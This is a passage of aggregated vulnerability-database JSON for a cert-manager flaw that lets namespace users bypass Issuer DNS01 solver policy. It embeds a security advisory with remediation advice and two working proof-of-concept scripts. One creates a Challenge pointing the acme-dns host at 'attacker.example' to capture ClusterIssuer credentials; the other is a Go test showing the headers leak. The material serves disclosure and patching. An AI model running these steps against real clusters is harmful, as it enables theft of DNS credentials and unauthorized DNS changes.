Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference.\n- Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path.\n- Move `Challenge` and `Order` creation permissions out of aggregate `edit` unless direct use is a supported security boundary.\n- Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","source":"DHI-heii-miix-gola-xi57"}],"affected":[{"ecosystem":"Docker Hardened Images:Alpine:3.23","package":"istio-csr","purl":"pkg:apk/dhi/istio-csr","versions":["0.16.0-r1","0.16.0-r2","0.17.0-r1","0.17.0-r2","0.17.0-r4","0.17.0-r5","0.17.0-r6","0.17.0-r7","0.18.0-r0","0.18.0-r1","0.18.0-r2","0.18.0-r3","0.19.1-r0","0.19.1-r1","0.19.1-r2","0.19.1-r3","0.19.1-r4"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.23","package":"istio-csr-dev","purl":"pkg:apk/dhi/istio-csr-dev","versions":["0.16.0-r1","0.16.0-r2","0.17.0-r1","0.17.0-r2","0.17.0-r4","0.17.0-r5","0.17.0-r6","0.17.0-r7","0.18.0-r0","0.18.0-r1","0.18.0-r2","0.18.0-r3","0.19.1-r0","0.19.1-r1","0.19.1-r2","0.19.1-r3","0.19.1-r4"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.23","package":"istio-csr-fips","purl":"pkg:apk/dhi/istio-csr-fips","versions":["0.16.0-r1","0.16.0-r2","0.17.0-r1","0.17.0-r2","0.17.0-r4","0.17.0-r5","0.17.0-r6","0.17.0-r7","0.18.0-r0","0.18.0-r1","0.18.0-r2","0.18.0-r3","0.19.1-r0","0.19.1-r1","0.19.1-r2","0.19.1-r3","0.19.1-r4"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.23","package":"istio-csr-fips-dev","purl":"pkg:apk/dhi/istio-csr-fips-dev","versions":["0.16.0-r1","0.16.0-r2","0.17.0-r1","0.17.0-r2","0.17.0-r4","0.17.0-r5","0.17.0-r6","0.17.0-r7","0.18.0-r0","0.18.0-r1","0.18.0-r2","0.18.0-r3","0.19.1-r0","0.19.1-r1","0.19.1-r2","0.19.1-r3","0.19.1-r4"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitlab-operator-2.11","purl":"pkg:apk/dhi/gitlab-operator-2.11","versions":["2.11.3-r0","2.11.3-r1"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitlab-operator-2.11-fips","purl":"pkg:apk/dhi/gitlab-operator-2.11-fips","versions":["2.11.3-r0","2.11.3-r1"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitlab-operator-3.1","purl":"pkg:apk/dhi/gitlab-operator-3.1","versions":["3.1.5-r0","3.1.5-r1"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"gitlab-operator-3.1-fips","purl":"pkg:apk/dhi/gitlab-operator-3.1-fips","versions":["3.1.5-r0","3.1.5-r1"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kuberay-operator-1","purl":"pkg:apk/dhi/kuberay-operator-1","versions":["1.7.0-r0","1.7.1-r0","1.7.1-r1","1.7.1-r2","1.7.1-r3","1.7.1-r4","1.7.2-r0","1.7.2-r1","1.7.2-r2"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kuberay-operator-1-dev","purl":"pkg:apk/dhi/kuberay-operator-1-dev","versions":["1.7.0-r0","1.7.1-r0","1.7.1-r1","1.7.1-r2","1.7.1-r3","1.7.1-r4","1.7.2-r0","1.7.2-r1","1.7.2-r2"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kuberay-operator-1-fips","purl":"pkg:apk/dhi/kuberay-operator-1-fips","versions":["1.7.0-r0","1.7.1-r0","1.7.1-r1","1.7.1-r2","1.7.1-r3","1.7.1-r4","1.7.2-r0","1.7.2-r1","1.7.2-r2"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kuberay-operator-1-fips-dev","purl":"pkg:apk/dhi/kuberay-operator-1-fips-dev","versions":["1.7.0-r0","1.7.1-r0","1.7.1-r1","1.7.1-r2","1.7.1-r3","1.7.1-r4","1.7.2-r0","1.7.2-r1","1.7.2-r2"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"vsphere-csi-driver-3.8","purl":"pkg:apk/dhi/vsphere-csi-driver-3.8","versions":["3.8.0-r0","3.8.0-r1","3.8.0-r2","3.8.0-r3","3.8.0-r4","3.8.0-r5","3.8.0-r6"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"vsphere-csi-driver-3.8-dev","purl":"pkg:apk/dhi/vsphere-csi-driver-3.8-dev","versions":["3.8.0-r0","3.8.0-r1","3.8.0-r2","3.8.0-r3","3.8.0-r4","3.8.0-r5","3.8.0-r6"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"vsphere-csi-driver-3.8-fips","purl":"pkg:apk/dhi/vsphere-csi-driver-3.8-fips","versions":["3.8.0-r0","3.8.0-r1","3.8.0-r2","3.8.0-r3","3.8.0-r4","3.8.0-r5","3.8.0-r6"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"vsphere-csi-driver-3.8-fips-dev","purl":"pkg:apk/dhi/vsphere-csi-driver-3.8-fips-dev","versions":["3.8.0-r0","3.8.0-r1","3.8.0-r2","3.8.0-r3","3.8.0-r4","3.8.0-r5","3.8.0-r6"],"provider":"osv","source":"DHI-heii-miix-gola-xi57","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-heii-miix-gola-xi57"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8rvj-mm4h-c258"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62290"},{"type":"ADVISORY","url":"https://github.com/cert-manager/cert-manager/security/advisories/GHSA-8rvj-mm4h-c258"},{"type":"FIX","url":"https://github.com/cert-manager/cert-manager/pull/8941"},{"type":"FIX","url":"https://github.com/cert-manager/cert-manager/pull/8940"},{"type":"FIX","url":"https://github.com/cert-manager/cert-manager/commit/b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16"},{"type":"FIX","url":"https://github.com/cert-manager/cert-manager/commit/6bda47297c8fbc6b121b8b76624b668d26f1a155"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.20.3"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.19.6"},{"type":"ADVISORY","url":"https://pkg.go.dev/vuln/GO-2026-6889"}]},{"provider":"osv","source_id":"GHSA-8rvj-mm4h-c258","relation":"self","url":"https://osv.dev/vulnerability/GHSA-8rvj-mm4h-c258","license":"CC-BY-4.0","published_at":"2026-10-29T16:39:41Z","modified_at":"2026-11-05T23:25:44.048366Z","summary":"cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials","details":"## Summary\n\n`Challenge` resources under `acme.cert-manager.io` can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an `Order`, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses `Challenge.spec.solver` as the DNS01 provider configuration.\n\nWhen the direct Challenge references a `ClusterIssuer`, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the `ClusterIssuer` reference, but the DNS provider configuration itself is attacker-controlled through `Challenge.spec.solver`. This lets a namespace user bypass `Issuer`/`ClusterIssuer` solver selectors such as `dnsZones`, `dnsNames`, and `matchLabels`, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.\n\nIn the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the `X-Api-User` and `X-Api-Key` headers loaded by cert-manager from the ClusterIssuer resource namespace.\n\n## Attack preconditions\n\n- The attacker can create `challenges.acme.cert-manager.io` resources in at least one namespace.\n- The cert-manager controller is running and reconciles ACME `Challenge` resources cluster-wide.\n- A usable `ClusterIssuer` exists in the cluster.\n- The referenced `ClusterIssuer` has a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled for `ClusterIssuer`.\n- The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.\n\n## Severity\n\nRationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.\n\n## Why this is not just RBAC misconfiguration\n\ncert-manager's documented end-user workflow does not require users to manually create `Challenge` resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled `Challenge.spec.solver` as authoritative for a referenced `ClusterIssuer`.\n\nThe security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from `issuerRef`, while accepting the DNS provider configuration from the untrusted Challenge object.\n\n## Affected components\n\n- ACME Challenge admission validation\n- ACME Challenge controller\n- DNS01 solver selection and DNS provider construction\n- Default aggregate RBAC for `challenges.acme.cert-manager.io`\n\n## Affected versions tested\n\nThe issue was reproduced on:\n\n- `master` commit `2c0f1a6a4`\n- latest production release `v1.20.2` commit `e5b7b1845`\n- `v1.19.5` commit `cda7b7896`\n- `v1.18.6` commit `4699caabb`\n\nSee `VERSION_TEST_MATRIX.md` for the command matrix and outputs.\n\n## Technical details\n\nRelevant code paths:\n\n- `internal/apis/acme/validation/challenge.go:44-45`: `ValidateChallenge` returns no errors on create.\n- `deploy/crds/acme.cert-manager.io_challenges.yaml`: `spec.solver` is a required user-controlled field on `Challenge`.\n- `pkg/controller/acmechallenges/scheduler/scheduler.go:51-58`: scheduler lists all Challenges.\n- `pkg/controller/acmechallenges/controller.go:180-197`: scheduler sets `status.processing=true`.\n- `pkg/controller/acmechallenges/sync.go:139-183`: controller loads the referenced Issuer and then presents the Challenge.\n- `pkg/issuer/acme/dns/dns.go:81`: DNS solver `Present` ignores the issuer object argument.\n- `pkg/issuer/acme/dns/dns.go:180-187`: DNS provider config and resource namespace are derived from `Challenge.spec`.\n- `pkg/controller/helper.go:39-44`: `ClusterIssuer` references use the cluster resource namespace.\n- `pkg/controller/helper.go:66-72`: ambient credentials are allowed based on `issuerRef.kind`.\n- `internal/apis/config/controller/v1alpha1/defaults.go:68-69`: ClusterIssuer ambient credentials default to enabled.\n- `deploy/charts/cert-manager/templates/rbac.yaml:517-519`: the aggregate edit role can create/update `challenges` and `orders`.\n\nThe normal `Order` flow selects a solver from the Issuer:\n\n- `pkg/util/solverpicker/solverpicker.go`: solver selectors are evaluated.\n- `pkg/controller/acmeorders/util.go:94-106`: solvers are fetched from the Issuer and selected.\n- `pkg/controller/acmeorders/util.go:131-142`: the selected solver is copied into the generated Challenge.\n\nThe direct `Challenge` flow skips that selection entirely because the direct object already contains a solver.\n\n## Proof of concept\n\n### PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge\n\nThe following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.\n\nThe ClusterIssuer is configured to use a legitimate acme-dns host for `victim.example.com`. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.\n\nA broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.\n\nRun from the cert-manager repository root:\n\n```bash\nset -euo pipefail\n\nname=cm-direct-challenge-poc\ndocker rm -f \"$name\" >/dev/null 2>&1 || true\ndocker run -d --name \"$name\" --privileged -v \"$PWD\":/repo rancher/k3s:v1.33.4-k3s1 \\\n  server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null\n\ncleanup() {\n  docker rm -f \"$name\" >/dev/null 2>&1 || true\n}\ntrap cleanup EXIT\n\nfor i in $(seq 1 90); do\n  docker exec \"$name\" kubectl get --raw=/readyz >/dev/null 2>&1 && break\n  sleep 2\ndone\n\ndocker exec \"$name\" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null\ndocker exec \"$name\" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null\ndocker exec \"$name\" kubectl create ns tenant >/dev/null\ndocker exec \"$name\" kubectl create ns cert-manager >/dev/null\ndocker exec \"$name\" kubectl -n tenant create sa bob >/dev/null\n\ndocker exec \"$name\" kubectl -n cert-manager create secret generic cluster-acmedns-account \\\n  --from-literal=accounts.json='{\"victim.example.com\":{\"username\":\"victim-user\",\"password\":\"victim-pass\",\"fulldomain\":\"x.example.org\",\"subdomain\":\"x\"}}' >/dev/null\n\ndocker exec -i \"$name\" kubectl apply -f - >/dev/null <<'YAML'\napiVersion: cert-manager.io/v1\nkind: ClusterIssuer\nmetadata:\n  name: cluster-prod\nspec:\n  acme:\n    email: admin@example.com\n    server: https://acme-staging-v02.api.letsencrypt.org/directory\n    privateKeySecretRef:\n      name: cluster-prod-account-key\n    solvers:\n    - selector:\n        dnsZones:\n        - victim.example.com\n      dns01:\n        acmeDNS:\n          host: https://legit-acmedns.example\n          accountSecretRef:\n            name: cluster-acmedns-account\n            key: accounts.json\nYAML\n\ndocker exec -i \"$name\" kubectl apply -f - >/dev/null <<'YAML'\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: challenge-create-only\n  namespace: tenant\nrules:\n- apiGroups: [\"acme.cert-manager.io\"]\n  resources: [\"challenges\"]\n  verbs: [\"create\", \"get\", \"list\", \"watch\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: bob-challenge-create-only\n  namespace: tenant\nsubjects:\n- kind: ServiceAccount\n  name: bob\n  namespace: tenant\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: Role\n  name: challenge-create-only\nYAML\n\necho \"bob create challenges: $(docker exec \"$name\" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)\"\necho \"bob get cert-manager secret: $(docker exec \"$name\" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)\"\necho \"bob get clusterissuer: $(docker exec \"$name\" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)\"\necho \"ClusterIssuer solver policy: $(docker exec \"$name\" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{\" \"}{.spec.acme.solvers[0].dns01.acmeDNS.host}')\"\n\ndocker exec -i \"$name\" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML'\napiVersion: acme.cert-manager.io/v1\nkind: Challenge\nmetadata:\n  name: direct-dns01\nspec:\n  authorizationURL: https://attacker.example/acme/authz/1\n  dnsName: victim.example.com\n  issuerRef:\n    group: cert-manager.io\n    kind: ClusterIssuer\n    name: cluster-prod\n  key: attacker-key\n  token: attacker-token\n  type: DNS-01\n  url: https://attacker.example/acme/chal/1\n  solver:\n    dns01:\n      acmeDNS:\n        host: https://attacker.example/acmedns\n        accountSecretRef:\n          name: cluster-acmedns-account\n          key: accounts.json\nYAML\n\ndocker exec \"$name\" kubectl -n tenant get challenge direct-dns01 \\\n  -o jsonpath='{.spec.issuerRef.kind}{\" \"}{.spec.dnsName}{\" \"}{.spec.solver.dns01.acmeDNS.host}{\" \"}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{\"\\n\"}'\n```\n\nExpected output:\n\n```text\nbob create challenges: yes\nbob get cert-manager secret: no\nbob get clusterissuer: no\nClusterIssuer solver policy: victim.example.com https://legit-acmedns.example\nchallenge.acme.cert-manager.io/direct-dns01 created\nClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account\n```\n\nThis proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer.\n\n### PoC B: acme-dns provider sends referenced credentials to the configured host\n\nThis self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers.\n\nRun from repository root:\n\n```bash\nset -euo pipefail\n\ncat > pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go <<'EOF'\npackage acmedns\n\nimport (\n        \"context\"\n        \"net/http\"\n        \"net/http/httptest\"\n        \"testing\"\n)\n\nfunc TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) {\n        var gotUser, gotKey, gotPath string\n\n        ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n                gotPath = r.URL.Path\n                gotUser = r.Header.Get(\"X-Api-User\")\n                gotKey = r.Header.Get(\"X-Api-Key\")\n                w.Header().Set(\"Content-Type\", \"application/json\")\n                w.WriteHeader(http.StatusOK)\n                w.Write([]byte(`{\"txt\":\"ok\"}`))\n        }))\n        defer ts.Close()\n\n        accountJSON := []byte(`{\n                \"victim.example.com\": {\n                        \"username\": \"victim-user\",\n                        \"password\": \"victim-pass\",\n                        \"fulldomain\": \"x.example.org\",\n                        \"subdomain\": \"x\"\n                }\n        }`)\n\n        provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil)\n        if err != nil {\n                t.Fatal(err)\n        }\n\n        if err := provider.Present(context.Background(), \"victim.example.com\", \"\", \"txt-value\"); err != nil {\n                t.Fatal(err)\n        }\n\n        if gotPath != \"/update\" {\n                t.Fatalf(\"path = %q, want /update\", gotPath)\n        }\n        if gotUser != \"victim-user\" {\n                t.Fatalf(\"X-Api-User = %q, want victim-user\", gotUser)\n        }\n        if gotKey != \"victim-pass\" {\n                t.Fatalf(\"X-Api-Key = %q, want victim-pass\", gotKey)\n        }\n}\nEOF\n\ndocker run --rm \\\n  -v \"$PWD\":/repo \\\n  -v /tmp/cert-manager-gomod-cache:/go/pkg/mod \\\n  -v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \\\n  -w /repo golang:1.26-bookworm \\\n  go test ./pkg/issuer/acme/dns/acmedns \\\n  -run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \\\n  -count=1 -v\n\nrm pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go\n```\n\nExpected output:\n\n```text\n=== RUN   TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost\n--- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost\n```\n\nCombined with PoC A and the code path in `pkg/issuer/acme/dns/dns.go`, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace.\n\n## Credential impact scope\n\nThe concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled `host` receives the `X-Api-User` and `X-Api-Key` values loaded from the referenced account JSON.\n\nFor other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC.\n\n## Expected behavior\n\nUsers should not be able to create standalone `Challenge` resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct `Challenge` resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer.\n\n## Actual behavior\n\nA user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from `issuerRef`, and uses attacker-controlled provider settings.\n\n## Suggested remediation\n\nPossible mitigations:\n\n- Reject or ignore standalone user-created `Challenge` resources unless the controller or admission layer can confirm an existing cert-manager-created `Order` that owns the Challenge.\n- Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference.\n- Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path.\n- Move `Challenge` and `Order` creation permissions out of aggregate `edit` unless direct use is a supported security boundary.\n- Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","source":"GHSA-8rvj-mm4h-c258"}],"affected":[{"ecosystem":"Go","package":"github.com/cert-manager/cert-manager","purl":"pkg:golang/github.com/cert-manager/cert-manager","ranges":[{"type":"SEMVER","events":[{"introduced":"1.18.0"},{"fixed":"1.19.6"}]}],"fixed":["1.19.6"],"provider":"osv","source":"GHSA-8rvj-mm4h-c258","relation":"self"},{"ecosystem":"Go","package":"github.com/cert-manager/cert-manager","purl":"pkg:golang/github.com/cert-manager/cert-manager","ranges":[{"type":"SEMVER","events":[{"introduced":"1.20.0-alpha.0"},{"fixed":"1.20.3"}]}],"fixed":["1.20.3"],"provider":"osv","source":"GHSA-8rvj-mm4h-c258","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/security/advisories/GHSA-8rvj-mm4h-c258"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62290"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/pull/8940"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/pull/8941"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/commit/6bda47297c8fbc6b121b8b76624b668d26f1a155"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/commit/b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16"},{"type":"PACKAGE","url":"https://github.com/cert-manager/cert-manager"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.19.6"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.20.3"}]},{"provider":"osv","source_id":"GO-2026-6889","relation":"self","url":"https://osv.dev/vulnerability/GO-2026-6889","license":"CC-BY-4.0","published_at":"2026-11-05T22:55:03Z","modified_at":"2026-11-05T23:25:44.048366Z","summary":"cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials in github.com/cert-manager/cert-manager","details":"cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials in github.com/cert-manager/cert-manager","severity":[],"affected":[{"ecosystem":"Go","package":"github.com/cert-manager/cert-manager","purl":"pkg:golang/github.com/cert-manager/cert-manager","ranges":[{"type":"SEMVER","events":[{"introduced":"1.18.0"},{"fixed":"1.19.6"},{"introduced":"1.20.0-alpha.0"},{"fixed":"1.20.3"}]}],"fixed":["1.19.6","1.20.3"],"provider":"osv","source":"GO-2026-6889","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://github.com/cert-manager/cert-manager/security/advisories/GHSA-8rvj-mm4h-c258"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62290"},{"type":"FIX","url":"https://github.com/cert-manager/cert-manager/commit/6bda47297c8fbc6b121b8b76624b668d26f1a155"},{"type":"FIX","url":"https://github.com/cert-manager/cert-manager/commit/b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16"},{"type":"FIX","url":"https://github.com/cert-manager/cert-manager/pull/8940"},{"type":"FIX","url":"https://github.com/cert-manager/cert-manager/pull/8941"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.19.6"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.20.3"}]},{"provider":"redhat-vex","source_id":"CVE-2026-62290","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-62290","license":"CC-BY-4.0","published_at":"2026-07-16T19:37:40.255Z","modified_at":"2026-11-13T10:35:37Z","summary":"cert-manager: cert-manager: Information disclosure via improper validation of Challenge resources","details":"A flaw was found in cert-manager. A local attacker, with low privileges as a namespace user, could exploit a lack of admission validation when creating Challenge resources. This allows the attacker to bypass DNS01 solver selectors and cause cert-manager to use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names. The most significant consequence is the disclosure of sensitive information, specifically X-Api-User and X-Api-Key headers for acme-dns.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","source":"CVE-2026-62290"},{"type":"Red Hat","score":"Important","source":"CVE-2026-62290"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"affected","packages":["rhoai/odh-llm-d-batch-gateway-operator-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2026-62290"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"not_affected","packages":["rhoai/odh-kuberay-operator-controller-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-62290"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-62290.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-62290"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2501514"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-62290"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62290"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/commit/6bda47297c8fbc6b121b8b76624b668d26f1a155"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/commit/b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/pull/8940"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/pull/8941"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.19.6"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.20.3"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/security/advisories/GHSA-8rvj-mm4h-c258"}]}],"references":[{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/security/advisories/GHSA-8rvj-mm4h-c258"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/pull/8940"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/pull/8941"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/commit/6bda47297c8fbc6b121b8b76624b668d26f1a155"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/commit/b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.19.6"},{"type":"WEB","url":"https://github.com/cert-manager/cert-manager/releases/tag/v1.20.3"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62290"},{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-heii-miix-gola-xi57"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8rvj-mm4h-c258"},{"type":"ADVISORY","url":"https://pkg.go.dev/vuln/GO-2026-6889"},{"type":"PACKAGE","url":"https://github.com/cert-manager/cert-manager"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-62290.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-62290"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2501514"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-62290"}],"sources":[{"provider":"osv","source_id":"SUSE-SU-2026:24730-1","url":"https://osv.dev/vulnerability/SUSE-SU-2026:24730-1","modified_at":"2026-11-17T17:23:12.532517Z","relation":"upstream"},{"provider":"osv","source_id":"openSUSE-SU-2026:22336-1","url":"https://osv.dev/vulnerability/openSUSE-SU-2026:22336-1","modified_at":"2026-11-18T17:23:43.981708Z","relation":"upstream"},{"provider":"cvelistv5"